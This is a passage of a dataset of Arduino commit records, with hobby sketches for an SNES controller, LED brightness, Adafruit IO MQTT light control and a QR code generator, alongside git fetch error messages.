down\r\n if (isInputtingDelayed == true)\r\n {\r\n if (currentMillis - previousInputDelay >= inputDelay)\r\n {\r\n \/\/ Now we need to stop the Soft Delay\r\n\r\n \/\/ Reset everything\r\n serial_rx_buffer[0] = 0x00;\r\n serial_rx_buffer[1] = 0x00;\r\n serial_rx_buffer[2] = 0x00;\r\n serial_rx_buffer[3] = 0x00;\r\n serial_rx_buffer[4] = 0x00;\r\n serial_rx_buffer[5] = 0x00;\r\n serial_rx_buffer[6] = 0x00;\r\n serial_rx_buffer[7] = 0x00;\r\n serial_rx_buffer[8] = 0x00;\r\n serial_rx_buffer[9] = 0x00;\r\n serial_rx_buffer[10] = 0x00;\r\n serial_rx_buffer[11] = 0x00;\r\n\r\n current_macro_input[0] = 0x00;\r\n current_macro_input[1] = 0x00;\r\n current_macro_input[2] = 0x00;\r\n current_macro_input[3] = 0x00;\r\n current_macro_input[4] = 0x00;\r\n current_macro_input[5] = 0x00;\r\n current_macro_input[6] = 0x00;\r\n current_macro_input[7] = 0x00;\r\n current_macro_input[8] = 0x00;\r\n current_macro_input[9] = 0x00;\r\n current_macro_input[10] = 0x00;\r\n current_macro_input[11] = 0x00;\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ B, Y, SELECT, START, UP, DOWN, LEFT, RIGHT\r\n inputStatus[4] = (current_macro_input[1] & B00000001); \/\/ B\r\n inputStatus[5] = (current_macro_input[1] & B00000010); \/\/ Y\r\n inputStatus[6] = (current_macro_input[1] & B00000100); \/\/ Select\r\n inputStatus[7] = (current_macro_input[1] & B00001000); \/\/ Start\r\n inputStatus[8] = (current_macro_input[1] & B00010000); \/\/ Up\r\n inputStatus[10] = (current_macro_input[1] & B00100000); \/\/ Down\r\n inputStatus[1] = (current_macro_input[1] & B01000000); \/\/ Left\r\n inputStatus[0] = (current_macro_input[1] & B10000000); \/\/ Right\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ A, X, L, R, N\/A, N\/A, N\/A, N\/A\r\n inputStatus[24] = (current_macro_input[2] & B00000001); \/\/ A\r\n inputStatus[3] = (current_macro_input[2] & B00000010); \/\/ X\r\n\r\n \/\/ Because the L and R buttons are connected to a board where\r\n \/\/ it outputs pseudo-analog levels, we have to set 2 bits low\r\n \/\/ or high to be able to actually press the\r\n inputStatus[20] = (current_macro_input[2] & B00000100); \/\/ L\r\n inputStatus[21] = (current_macro_input[2] & B00000100); \/\/ L\r\n inputStatus[22] = (current_macro_input[2] & B00001000); \/\/ R\r\n inputStatus[23] = (current_macro_input[2] & B00001000); \/\/ R\r\n\r\n digitalWrite(latchPin, LOW);\r\n for (int i = 31; i >= 0; i--)\r\n {\r\n digitalWrite(clockPin, LOW);\r\n digitalWrite(dataPin, !inputStatus[i]);\r\n digitalWrite(buttonLeft, !inputStatus[1]); \/\/ This is the Left Dpad button, which isn't on the shift registers, it's on the output A0\r\n digitalWrite(clockPin, HIGH);\r\n }\r\n digitalWrite(latchPin, HIGH);\r\n\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n previousInputDelay += inputDelay;\r\n inputDelay = 0;\r\n }\r\n }\r\n }\r\n }\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'snes_controller_v2\/snes_controller_v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2bf486a000366879028c84aed4b48382e1534612","subject":"Button for changing LED brightness","message":"Button for changing LED brightness\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/button_led_brightness\/button_led_brightness.ino","new_file":"src\/button_led_brightness\/button_led_brightness.ino","new_contents":"\/*\n * Simple Button & LED \n * This program uses a button to \n * change an LED light's brightness\n *\/\n\nconst int switchPin = 8;\nconst int ledPin = 11;\n\nbool lastPress = LOW;\nbool currentButton = LOW;\nint ledLevel = 0;\n\nvoid setup()\n{\n pinMode(switchPin, INPUT);\n pinMode(ledPin, OUTPUT);\n}\n\n\/\/ Fixes the issue with \"bouncing\" of the switch\nbool debounce(bool last)\n{\n bool current = digitalRead(switchPin);\n if (last != current)\n {\n delay(5);\n current = digitalRead(switchPin);\n }\n return current;\n}\n\nvoid loop()\n{\n currentButton = debounce(lastButton);\n\n \/\/ If the switch\/button has been pressed, toggle the ledOn variable\n if (lastButton == LOW && currentButton == HIGH)\n {\n ledLevel = (ledLevel + 51) % 255; \/\/ Add 51 units of brightness level, limiting to 255\n }\n\n lastButton = currentButton;\n analogWrite(ledPin, ledLevel);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/button_led_brightness\/button_led_brightness.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"319ce45ad1d6be0aa3975550e2ac6c5438380a68","subject":"Update ProjectHomeAutomation.ino","message":"Update ProjectHomeAutomation.ino","repos":"Electroscholars\/HomeAutomation,Electroscholars\/HomeAutomation","old_file":"Arduino Codes\/ProjectHomeAutomation\/ProjectHomeAutomation.ino","new_file":"Arduino Codes\/ProjectHomeAutomation\/ProjectHomeAutomation.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Electroscholars\/HomeAutomation.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fdb79646ae8c55b1dde41c8a169f7efdbe71d261","subject":"added temperature","message":"added temperature\n","repos":"Electroscholars\/HomeAutomation,Electroscholars\/HomeAutomation","old_file":"Arduino Codes\/ProjectHomeAutomation\/ProjectHomeAutomation.ino","new_file":"Arduino Codes\/ProjectHomeAutomation\/ProjectHomeAutomation.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Electroscholars\/HomeAutomation.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"60cd9b69f6900938b9ea82d9f89656e90cb11b00","subject":"the arduino side seems to finish a motion quite nicely","message":"the arduino side seems to finish a motion quite nicely\n\nthis is just code to verify that\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"46cfe45b26e6f4d1104bf21c963db80cbda56dfc","subject":"Polished code","message":"Polished code\n","repos":"fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs","old_file":"wbox2.ino","new_file":"wbox2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fbatta\/wbox-nodejs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5f9f6c326208da67c306d007fb87c03bd8a4fb64","subject":"added 6.","message":"added 6.\n","repos":"yaneexy\/Spark-Core-Examples,yaneexy\/Spark-Core-Examples","old_file":"6.Turn on LED when dark.ino","new_file":"6.Turn on LED when dark.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '6.Turn' did not match any file(s) known to git\nerror: pathspec 'on' did not match any file(s) known to git\nerror: pathspec 'LED' did not match any file(s) known to git\nerror: pathspec 'when' did not match any file(s) known to git\nerror: pathspec 'dark.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8d84f3ea954a3f7153892d0b97326c4cfb9a1abd","subject":"adds cc3k digital out example","message":"adds cc3k digital out example\n","repos":"adafruit\/adafruit-io-basics,adafruit\/adafruit-io-basics","old_file":"arduino-cc3000\/digital-out\/digital-out.ino","new_file":"arduino-cc3000\/digital-out\/digital-out.ino","new_contents":"#include <Adafruit_CC3000.h>\n#include <PubSubClient.h>\n#include <SPI.h>\n\n#define ADAFRUIT_CC3000_IRQ 3\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n#define LIGHT 8\n\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS,\n ADAFRUIT_CC3000_IRQ,\n ADAFRUIT_CC3000_VBAT,\n SPI_CLOCK_DIVIDER);\n\nAdafruit_CC3000_Client cc3000_client = Adafruit_CC3000_Client();\nPubSubClient client(\"io.adafruit.com\", 1883, mqtt_callback, cc3000_client);\n\n\/\/ replace with your WiFi connection info\n#define WLAN_SSID \"test\"\n#define WLAN_PASS \"secretpass\"\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n\/\/ replace xxxxxxxxx with your Adafruit IO key\n#define AIO_KEY \"xxxxxxxxx\"\n#define MQTT_TOPIC \"api\/feeds\/Light\/data\/receive.json\"\n\n\/\/ light state\nint state = 0;\n\nvoid setup() {\n\n \/\/ set power switch tail pin as an output\n pinMode(LIGHT, OUTPUT);\n\n \/\/ wait until serial is available\n while (!Serial);\n\n \/\/ Serial init\n Serial.begin(115200);\n Serial.println(F(\"Initializing....(May take a few seconds)\"));\n\n \/\/ cc3300 init\n if (! cc3000.begin()) {\n Serial.println(F(\"Couldn't begin()! Check your wiring?\"));\n while(1);\n }\n\n Serial.print(F(\"\\nAttempting to connect to \")); \n Serial.println(WLAN_SSID);\n\n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n\n Serial.println(F(\"Connected!\"));\n\n Serial.println(F(\"Request DHCP\"));\n while (!cc3000.checkDHCP()) {\n delay(100);\n }\n\n \/\/ connect to AIO\n mqtt_connect();\n\n}\n\nvoid loop() {\n\n \/\/ required for MQTT connection\n client.loop();\n\n \/\/ reconnect if we lost connection to AIO\n if(! client.connected()) {\n Serial.print(F(\"AIO connection dropped. Attempting reconnect\"));\n mqtt_connect();\n }\n\n \/\/ write the state to the relay\n digitalWrite(LIGHT, state == 1 ? HIGH : LOW);\n\n}\n\nvoid mqtt_connect() {\n\n char client_name[30];\n\n \/\/ generate new client name\n sprintf(client_name, \"adafruit-cc3000-%ul\", micros());\n\n \/\/ attempt connection\n if (client.connect(client_name, AIO_KEY, NULL)) {\n Serial.println(F(\"Connected to AIO\"));\n client.subscribe(MQTT_TOPIC);\n client.loop();\n } else {\n Serial.println(F(\"AIO connect failed\"));\n }\n\n}\n\nvoid mqtt_callback (char* topic, byte* payload, unsigned int length) {\n\n \/\/ dump topic and payload from subscription\n Serial.print(F(\"Receieved: \"));\n Serial.println(topic);\n Serial.write(payload, length);\n Serial.println(topic);\n\n \/\/ make sure we received a message from the correct feed\n if(strcmp(topic, MQTT_TOPIC) =! 0)\n return;\n\n \/\/ convert the MQTT payload to int\n int value = to_int(payload, length);\n\n \/\/ make sure we have a 0 or 1\n if(value != 0 && value != 1)\n return;\n\n \/\/ save the new state\n state = value;\n\n}\n\nint to_int(byte* payload, int length) {\n\n int i;\n char val[2];\n\n \/\/ convert payload to char\n for(i = 0; i < length; i++) {\n val[i] = payload[i];\n }\n\n val[i] = '\\0';\n\n \/\/ convert char to int and return\n return atoi(val);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-cc3000\/digital-out\/digital-out.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a9549d2f2a105b85dc3678beb9dea413d99ec590","subject":"Create QR_Code_Gen3V38_Public.ino","message":"Create QR_Code_Gen3V38_Public.ino","repos":"budnail\/QR_Code_Gen3","old_file":"QR_Code_Gen3V38_Public.ino","new_file":"QR_Code_Gen3V38_Public.ino","new_contents":"\/*\nQR_Code_Gen3\n(c)2014 William L. \"Bud\" Nail, Technological Services Company\nThis program and support functions fully implement the generation of several useful versions of the QR Code standard from a text string.\n\nIt does this in a relatively small memory foot print such as the Arduino Uno and still leaves room for additional application functions.\nIt can be easily modified to support additional QR codes with some limitations.\n\nThis program is licensed under GPL 2, 3 or LGPL (your choice) that work well for non-commercial and some limited commercial projects (IMHO). \nIf you are interested in a simple low cost commercial or developer's license for embedding in your projects, \nsee www.technologicalservicescompany.com for contact information.\n\nDonations are also accepted for further development. \n\nRegardless of the license, the code is free for review and experimentation by individuals and commercial or non-commercial enterprises.\n\nHistory:\nWhen this program development began, in early 2014, it was thought by most (from reviewing forums on the subject) that it would be next to impossible\nto implement a dynamic QR code generator on a processor such as the Arduino UNO that has so little SRAM.\n\nI had a specific project in mind that would use the Arduino UNO chip on a custom board with a small graphics display.\nResearching, I discovered that the U8g (universal 8 bit graphics) library supported all of the several displays I was considering using.\nI also found that David Hend had successfully created a dynamic QR code on a larger processor, when other people were only capable\nof generating static codes. He referenced \"Thonky's\" excellent tutorial on programming QR code generators.\n\nWith those references I proceeded to build my own QR generator that would fit in a Arduino UNO or similar embedded processor's foot print.\n\nSo far, this program is capable of generating QR version 1Q, 2Q, 3L, and 3M code format. Then it displays \nthat information as a QR code on the screen. \n\nMany thanks to David for giving me a starting point and a link to Thonky's tutorial (www.thonky.com) he used as the basis for his design.\nSeeing his code and comparing it to the tutorial, helped greatly in understanding what is required to build a fuller implementation.\nI basically replaced his code modules one by one while using his remaining code to test results against. If any of his code remains it \nis not intentional, though I continue to use some of the same function names.\n\nThanks also to Thonky.com for a great learning resource.\n\nFor those interested:\n\nHere are design features: \n(1) A general purpose graphics library is being used instead of the TFT library David used, so that it can support more devices.\n(2) This version is significantly altered to allow use in low memory devices such as the Arduino Uno \n and devices with the same or similar chip sets. This is accomplished by moving constants to PROGMEM and downsizing variables.\n(3) This version defaults to a 2x2 pixel module rather than the fixed 10x10 pixel module in David's work. \n(4) Completely new logic has been added to fully conform to the QR spec(as for as I know) for the versions implemented. \n Instead of simply picking a mask and hoping it works (it didn't always), each mask is tried and scored according\n to the spec and the best mask is used.\n(5) This version has been restructured so that new QR versions can be added without significantly rewriting the code.\n(6) While currently a 2x2 pixel module is hard coded, much of the supporting functions are resolution independent.\n(7) The code is designed to \"fail gracefully\". That is to say if your try to send a message that is not legal according\n to the spec, it sends what it can, rather than crashing or generating an unreadable code. It shortens messages\n that are too long and substitutes illegal characters with legal characters.\n\nHardware Consideratons: \nThe current version of the program has been targeted specifically to work with the DOG102 series of Displays. But,\nsince it uses the U8glib library for Universal 8 bit graphics, the program should be usable with most any graphic display.\nSimply take one of the U8glib examples and pull the line that looks equivalent to:\n\/\/set up SPI for model display used and wiring\nU8GLIB_DOGS102 u8g(13, 11, 10, 9);\t\t\/\/ SPI Com: SCK = 13, MOSI = 11, CS = 10, A0(also referenced as CD) = 9\nReplace this line with the one that matches your display.\nAdjust the SPI communication ports to match the ones on your hardware.\n\nTo Do: (1) build the qr code in a buffer area so that it can be built repeatedly for each mask 0-7 - done\n (2) build the test to score the mask methods. - done\n (3) build the best scoring and Display - done\n (4) turn the process into a function so that any message string can be sent to it at any time.\n (5) make all methods work with QR code Versions 2 and 3 as well as 1 - done\n (6) auto covert lower case to upper case since trying to encode lowercase is a common mistake - done\n (7) change encoding to include allowed non alpha numeric - done\n (8) - maybe add numeric encoding vs only alphanumeric encoding - this will require changes throughout\n (9) The current version uses 2x2 pixels per QR code module. Make the size selectable.\n \nVersion History:\nV3 added the option to choose other mask types - the specification requires you try all 7 and use the best.\n this version only provides that you can use any of the 7\nV5 Fixed the bug in the ECC calculation that would give bad ECC.\nV6 adds scalable templates for versions 1, 2 and 3\nV7 adds a QRcode Buffer that lets you generate the code off screen for grading - currently only the template\nv8 adds some text functions for debugging.\nv9 clears out a lot of the old methods and comments, \n added function to create format bits for all ECCs and Masks\n modified the informationBits function to place format bits for QR code versions 1-3, probably works up to version 6\n started on making the data bits in the informationBits function work for several QR versions\n modified and tested up1 portion so far.\nv10 added improved version of placing the data and ecc into the qr matix up to where the transition from data to ecc occurs\n at this point it became apparent that the data and ecc need to be strung together first to avoid all the possible\n points where this transition occurs. not complete.\nv11 ran into more memory problems so worked on shrinking SRAM usage, moved log table to progmem (flash memory)\n This freed up an additional 512 bytes of SRAM memory\nv12 moved format information bits of Mosk 0-7 of ECC Q to PROGMEM also\n verified that info written to display is correct for each mask type of Q\n however - none of the other mask patterns seem to work\nV13 transition from using array of bytes to represent binary arrays where there is one byte to bit to bit for bit\nV14 clean up of old methods so that the portion of databits to ecc bits can change\n most masks tested. Even number of chars work, problem with last char of odd length\nV15 fixed bug of last odd character cleaned out some debugging code. Now all lengths and all Masks work for 1Q type\nV16 start fleshing out provision for other ECC levels: L, M, and H, added information bit arrays for each\n Added grading of image logic - not tested.\nV17 Tested and debugged grading system - results corresponded to thonky's QR generator\n Automatic selection of best code not implemented yet.\nv18 Modified info bits to drow to buffer or screen\nv20 This version fully supports Mask grading and automatically picks the best mask for the qr code and uses it.\nv21 Cleaned up removed most old unused code. Added complete punctuation allowed. Auto convert lower case to upper\nV22 Expanded arrays to accomodate QR Version 2 Q. Verified there was still enough SRAM to function.\n Removed the size dependencies from calculating the QR code data and ECC\n All that remains (I think) is to make changes to the drawing of the QR code for various versions\nV23 implemented placing information bits for Version 2 and 3\nV24 Now capable of generating Type 2 Q QR codes, though the mask scoring does not match up with Thonky's Generator\nV26 Got rid of additional strings that grows when scaling up for Type 3\nV28 Got rid of last bad string \"dataString\"\nV29 Cleaned up and rewrote much of ECC to work with different number of ECC and Message code words\n Still has a bug - works for Type 2 but not Type 3\nV30 Now Supports Versions 1Q,2Q, and 3L,\nV31 Now Supports Versions 1Q,2Q,3L and 3M\nV32 Cleaned out old comments - first publically released version\nV33 Various optimizations\nV34 Starting adding application code and memory got a bit tight, looking for more memory\nV35 Eliminated an 80 character array and haved another, saving 120 bytes of sram, with improved math\n Eliminated the last dependency on String objects that really suck up the sram\nV38_Public Removed GPS Logging code for public version\n\nDeveloper Notes:\n Basic steps are:\n 0. select the QR code type\n 1. translate the message into data bits\n 2. Calculate the Error Correction Codes using polynomial division\n 3. Place the data and ECC bits within a template for evaluation\n 3. Find the best mask to use for the QR code by trying them all and picking the best (grading)\n 3. drawing the qr code on the screen using the mask selected above\n \n Key functions and data structures:\n qrBuff[] - An off screen buffer 32x32 bits is provided for testing QR codes before displaying them \n \n \"bitString\" functions - read and write functions as if there was a string of bits data type (we pre-use qrBuff[] for temporary storage)\n \n setMod2(int m,int x,int y,int c) - where m is mode, x is column, y is row and c is color (0 white, 1 black)\n it draws a qr module to the screen (mode = 0) or to the buffer(mode = 1)\n this is the lowest drawing level that you might use to add new qr versions\n \n calculateQRCode() is where the message is translated into data bits - do this before the functions below\n this is where you would add new calculations for different QR code versions\n \n ecc() calculates the error correction code words for the data code words\n \n drawTemplate(int mode) places the standard template on the screen or in the buffer. mode = 0(screen), 1 (buffer)\n \n informationBits2(int mode) places the data bits in the qr code either on the screen or in the buffer. mode = 0(screen), 1 (buffer)\n \n formatBits() places the information about the QR code type and mask selected into the QRcode, always on screen. \n should not be used in the buffer as part of the grading process.\n \n Limitations:\n The offscreen buffer is only designed to work up to version 3 which is 29 x 29 modules. Each module is represented by 1 bit.\n Working with more than the 32 bits present in an unsigned long int has its challenges.\n This version only supports codes that have a single block of ECC appended at the end. Not interleaved versions, starting with 3Q\n*\/\n\n\n\/\/start includes\n#include <stdint.h>\n\/\/wln included pgmspace to move log table(s) and other constants to flash memory and save SRAM\n#include <avr\/pgmspace.h>\n\/\/wln include the universal graphics library\n#include \"U8glib.h\"\n\n\/\/wln...\n\/\/set up SPI for model display used and wiring for Ardunino Uno style devices\n\/\/simply change this next line to match your wiring scheme\nU8GLIB_DOGS102 u8g(13, 11, 10, 9);\t\t\/\/ SPI Com: SCK = 13, MOSI = 11, CS = 10, A0 = 9\n\/\/...wln\n\/\/Set to true to enable serial debug information\nboolean debug = false;\n\n\/*\nLog\/Anti-Log table used to switch between integer notation\nand alpha notation when performing arithmetic to calculate\necc bits. Arduino supports log functions but does not work\nin the same way as this table does.\n***wln changed table from 4 elements per row to 2, removing the duplicate index values\n*** also changed to use a byte table from the orginal unsigned int to save memory. reduced 2020 bytes to 510 bytes of ram\n*** Newer ultra low memory use version moves Log table from SRAM to flash. Separate Log and AntiLog tables used now.\n*\/\n\/\/wln Log table in Flash Memory\n\/\/ to lookup values use form \"y = pgm_read_byte_near(antiLogTableF + x);\" where y^x\nPROGMEM prog_uchar antiLogTableF[] = {\n 1,\n 2,\n 4,\n 8,\n 16,\n 32,\n 64,\n 128,\n 29,\n 58,\n 116,\n 232,\n 205,\n 135,\n 19,\n 38,\n 76,\n 152,\n 45,\n 90,\n 180,\n 117,\n 234,\n 201,\n 143,\n 3,\n 6,\n 12,\n 24,\n 48,\n 96,\n 192,\n 157,\n 39,\n 78, \n 156,\n 37,\n 74,\n 148,\n 53,\n 106,\n 212,\n 181,\n 119,\n 238,\n 193,\n 159,\n 35,\n 70,\n 140,\n 5,\n 10,\n 20,\n 40,\n 80,\n 160,\n 93,\n 186,\n 105,\n 210,\n 185,\n 111,\n 222,\n 161,\n 95,\n 190,\n 97,\n 194,\n 153,\n 47,\n 94,\n 188,\n 101,\n 202,\n 137,\n 15,\n 30,\n 60,\n 120,\n 240,\n 253,\n 231,\n 211,\n 187,\n 107,\n 214,\n 177,\n 127,\n 254,\n 225,\n 223,\n 163,\n 91,\n 182,\n 113,\n 226,\n 217,\n 175,\n 67,\n 134,\n 17,\n 34,\n 68,\n 136,\n 13,\n 26,\n 52,\n 104,\n 208,\n 189,\n 103,\n 206,\n 129,\n 31,\n 62,\n 124,\n 248,\n 237,\n 199,\n 147,\n 59,\n 118,\n 236,\n 197,\n 151,\n 51,\n 102,\n 204,\n 133,\n 23,\n 46,\n 92,\n 184,\n 109,\n 218,\n 169,\n 79,\n 158,\n 33,\n 66,\n 132,\n 21,\n 42,\n 84,\n 168,\n 77,\n 154,\n 41,\n 82,\n 164,\n 85,\n 170,\n 73,\n 146,\n 57,\n 114,\n 228,\n 213,\n 183,\n 115,\n 230,\n 209,\n 191,\n 99,\n 198,\n 145,\n 63,\n 126,\n 252,\n 229,\n 215,\n 179,\n 123,\n 246,\n 241,\n 255,\n 227,\n 219,\n 171,\n 75,\n 150,\n 49,\n 98,\n 196,\n 149,\n 55,\n 110,\n 220,\n 165,\n 87,\n 174,\n 65,\n 130,\n 25,\n 50,\n 100,\n 200,\n 141,\n 7,\n 14,\n 28,\n 56,\n 112,\n 224,\n 221,\n 167,\n 83,\n 166,\n 81,\n 162,\n 89,\n 178,\n 121,\n 242,\n 249,\n 239,\n 195,\n 155,\n 43,\n 86,\n 172,\n 69,\n 138,\n 9,\n 18,\n 36,\n 72,\n 144,\n 61,\n 122,\n 244,\n 245,\n 247,\n 243,\n 251,\n 235,\n 203,\n 139,\n 11,\n 22,\n 44,\n 88,\n 176,\n 125,\n 250,\n 233,\n 207,\n 131,\n 27,\n 54,\n 108,\n 216,\n 173,\n 71,\n 142,\n 1,\n};\/\/end of antiLog table\n\/\/ to lookup values use form \"x = pgm_read_byte_near(LogTableF + y);\" where y^x\n\/\/the first element is really empty but something had to be put there.\nPROGMEM prog_uchar LogTableF[] = {\n 0,\n 0,\n 1,\n 25,\n 2,\n 50,\n 26,\n 198,\n 3,\n 223,\n 51,\n 238,\n 27,\n 104,\n 199,\n 75,\n 4,\n 100,\n 224,\n 14,\n 52,\n 141,\n 239,\n 129,\n 28,\n 193,\n 105,\n 248,\n 200,\n 8,\n 76,\n 113,\n 5,\n 138,\n 101, \n 47,\n 225,\n 36,\n 15,\n 33,\n 53,\n 147,\n 142,\n 218,\n 240,\n 18,\n 130,\n 69,\n 29,\n 181,\n 194,\n 125,\n 106,\n 39,\n 249,\n 185,\n 201,\n 154,\n 9,\n 120,\n 77,\n 228,\n 114,\n 166,\n 6,\n 191,\n 139,\n 98,\n 102,\n 221,\n 48,\n 253,\n 226,\n 152,\n 37,\n 179,\n 16,\n 145,\n 34,\n 136,\n 54,\n 208,\n 148,\n 206,\n 143,\n 150,\n 219,\n 189,\n 241,\n 210,\n 19,\n 92,\n 131,\n 56,\n 70,\n 64,\n 30,\n 66,\n 182,\n 163,\n 195,\n 72,\n 126,\n 110,\n 107,\n 58,\n 40,\n 84,\n 250,\n 133,\n 186,\n 61,\n 202,\n 94,\n 155,\n 159,\n 10,\n 21,\n 121,\n 43,\n 78, \n 212,\n 229,\n 172,\n 115,\n 243,\n 167,\n 87,\n 7,\n 112, \n 192,\n 247,\n 140,\n 128,\n 99, \n 13, \n 103,\n 74,\n 222,\n 237,\n 49,\n 197,\n 254,\n 24,\n 227,\n 165,\n 153,\n 119,\n 38,\n 184,\n 180,\n 124,\n 17,\n 68,\n 146,\n 217,\n 35,\n 32,\n 137,\n 46,\n 55,\n 63,\n 209,\n 91,\n 149,\n 188,\n 207,\n 205,\n 144,\n 135,\n 151,\n 178,\n 220,\n 252,\n 190,\n 97,\n 242,\n 86,\n 211,\n 171,\n 20,\n 42,\n 93,\n 158,\n 132,\n 60,\n 57,\n 83,\n 71,\n 109,\n 65,\n 162,\n 31,\n 45,\n 67,\n 216,\n 183,\n 123,\n 164,\n 118,\n 196,\n 23,\n 73,\n 236,\n 127,\n 12,\n 111,\n 246,\n 108,\n 161,\n 59,\n 82,\n 41,\n 157,\n 85,\n 170,\n 251,\n 96,\n 134,\n 177,\n 187,\n 204,\n 62,\n 90,\n 203,\n 89,\n 95,\n 176,\n 156,\n 169,\n 160,\n 81,\n 11,\n 245,\n 22,\n 235,\n 122,\n 117,\n 44,\n 215,\n 79, \n 174,\n 213,\n 233,\n 230,\n 231,\n 173,\n 232,\n 116,\n 214,\n 244,\n 234,\n 168,\n 80,\n 88,\n 175\n};\/\/end of Log table\n\n\/\/Store format bit patterns in Flash. i.e QM0 is Q type ECC Mask 0\n\/\/ These could be changed to single unsigned int with a little work if Flash mem gets tight.\n\/* commented out ECC types you are not using to save memory, uncomment to use\n\/\/ ECC type H\nPROGMEM prog_uchar HM0[] = {0,0,1,0,1,1,0,1,0,0,0,1,0,0,1};\/\/ECC Level H Mask 0\nPROGMEM prog_uchar HM1[] = {0,0,1,0,0,1,1,1,0,1,1,1,1,1,0};\/\/ECC Level H Mask 1\nPROGMEM prog_uchar HM2[] = {0,0,1,1,1,0,0,1,1,1,0,0,1,1,1};\/\/ECC Level H Mask 2\nPROGMEM prog_uchar HM3[] = {0,0,1,1,0,0,1,1,1,0,1,0,0,0,0};\/\/ECC Level H Mask 3\nPROGMEM prog_uchar HM4[] = {0,0,0,0,1,1,1,0,1,1,0,0,0,1,0};\/\/ECC Level H Mask 4\nPROGMEM prog_uchar HM5[] = {0,0,0,0,0,1,0,0,1,0,1,0,1,0,1};\/\/ECC Level H Mask 5,\nPROGMEM prog_uchar HM6[] = {0,0,0,1,1,0,1,0,0,0,0,1,1,0,0};\/\/ECC Level H Mask 6\nPROGMEM prog_uchar HM7[] = {0,0,0,1,0,0,0,0,0,1,1,1,0,1,1};\/\/ECC Level H Mask 7,\n\n\/\/ ECC type Q finished and tested\nPROGMEM prog_uchar QM0[] = {0,1,1,0,1,0,1,0,1,0,1,1,1,1,1};\/\/ECC Level Q Mask 0\nPROGMEM prog_uchar QM1[] = {0,1,1,0,0,0,0,0,1,1,0,1,0,0,0};\/\/ECC Level Q Mask 1\nPROGMEM prog_uchar QM2[] = {0,1,1,1,1,1,1,0,0,1,1,0,0,0,1};\/\/ECC Level Q Mask 2\nPROGMEM prog_uchar QM3[] = {0,1,1,1,0,1,0,0,0,0,0,0,1,1,0};\/\/ECC Level Q Mask 3\nPROGMEM prog_uchar QM4[] = {0,1,0,0,1,0,0,1,0,1,1,0,1,0,0};\/\/ECC Level Q Mask 4\nPROGMEM prog_uchar QM5[] = {0,1,0,0,0,0,1,1,0,0,0,0,0,1,1};\/\/ECC Level Q Mask 5,\nPROGMEM prog_uchar QM6[] = {0,1,0,1,1,1,0,1,1,0,1,1,0,1,0};\/\/ECC Level Q Mask 6\nPROGMEM prog_uchar QM7[] = {0,1,0,1,0,1,1,1,1,1,0,1,1,0,1};\/\/ECC Level Q Mask 7,\n\/\/ ECC type M\nPROGMEM prog_uchar MM0[] = {1,0,1,0,1,0,0,0,0,0,1,0,0,1,0};\/\/ECC Level M Mask 0\nPROGMEM prog_uchar MM1[] = {1,0,1,0,0,0,1,0,0,1,0,0,1,0,1};\/\/ECC Level M Mask 1\nPROGMEM prog_uchar MM2[] = {1,0,1,1,1,1,0,0,1,1,1,1,1,0,0};\/\/ECC Level M Mask 2\nPROGMEM prog_uchar MM3[] = {1,0,1,1,0,1,1,0,1,0,0,1,0,1,1};\/\/ECC Level M Mask 3\nPROGMEM prog_uchar MM4[] = {1,0,0,0,1,0,1,1,1,1,1,1,0,0,1};\/\/ECC Level M Mask 4\nPROGMEM prog_uchar MM5[] = {1,0,0,0,0,0,0,1,1,0,0,1,1,1,0};\/\/ECC Level M Mask 5,\nPROGMEM prog_uchar MM6[] = {1,0,0,1,1,1,1,1,0,0,1,0,1,1,1};\/\/ECC Level M Mask 6\nPROGMEM prog_uchar MM7[] = 